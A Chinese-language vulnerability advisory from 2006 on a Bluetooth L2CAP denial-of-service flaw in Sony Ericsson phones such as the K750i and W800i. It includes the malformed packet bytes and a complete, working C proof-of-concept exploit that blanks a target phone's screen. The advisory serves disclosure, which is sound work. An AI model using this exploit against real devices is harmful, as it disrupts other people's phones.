安全研究

安全漏洞
Sony/Ericsson手机蓝牙栈拒绝服务漏洞

发布日期:2006-02-06
更新日期:2006-02-06

受影响系统:
Sony Sony/Ericsson W800i
Sony Sony/Ericsson V600i
Sony Sony/Ericsson T68i
Sony Sony/Ericsson K750i
Sony Sony/Ericsson K600i
描述:
Sony/Ericsson是目前市面上非常流行的手机,一些型号支持蓝牙通讯。

Sony/Ericsson的蓝牙协议栈实现上存在问题,远程攻击者可能利用此漏洞导致手机工作不正常。

如果向支持蓝牙的Sony/Ericsson手机发送畸形报文的话,就可能导致设备的屏幕逐渐关闭,然后显示白屏,大约经过45秒中之后能够恢复正常状态。

短的原始L2CAP报文如下:

08 01 01 00

它代表以下L2CAP首部字段:

code L2CAP_ECHO_REQ;
ident 1
length 1

实际发送的报文是4个字节长。

如果L2CAP字段发送的长度等于真实长度减去3(这里是L2CAP首部的大小)的话就可以触发拒绝服务。

<*来源:Pierre Betouin (pierre.betouin@infratech.fr
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2006-02/0089.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - pierre.betouin@infratech.fr */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)

int main(int argc, char **argv)
{
    char *buffer;
    l2cap_cmd_hdr *cmd;
    struct sockaddr_l2 addr;
    int sock, sent, i;

    if(argc < 2)
    {
        fprintf(stderr, "%s <btaddr>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
    {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    memset(&addr, 0, sizeof(addr));
    addr.l2_family = AF_BLUETOOTH;

    if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    {
        perror("bind");
        exit(EXIT_FAILURE);
    }

    str2ba(argv[1], &addr.l2_bdaddr);

    if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    {
        perror("connect");
        exit(EXIT_FAILURE);
    }

    if(!(buffer = (char *) malloc ((int) SIZE + 1)))
    {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buffer, 90, SIZE);

    cmd = (l2cap_cmd_hdr *) buffer;
    cmd->code = L2CAP_ECHO_REQ;
    cmd->ident = 1;
    cmd->len = FAKE_SIZE;

    if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
    {
        printf("L2CAP packet sent (%d)\n", sent);
    }

    printf("Buffer:\t");
    for(i=0; i<sent; i++)
        printf("%.2X ", (unsigned char) buffer[i]);
    printf("\n");

    free(buffer);
    close(sock);
    return EXIT_SUCCESS;
}

建议:
厂商补丁:

Sony
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.sonyericsson.com/spg.jsp?cc=global&lc=en&ver=4001&template=pg1&zone=pg

浏览次数:4163
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障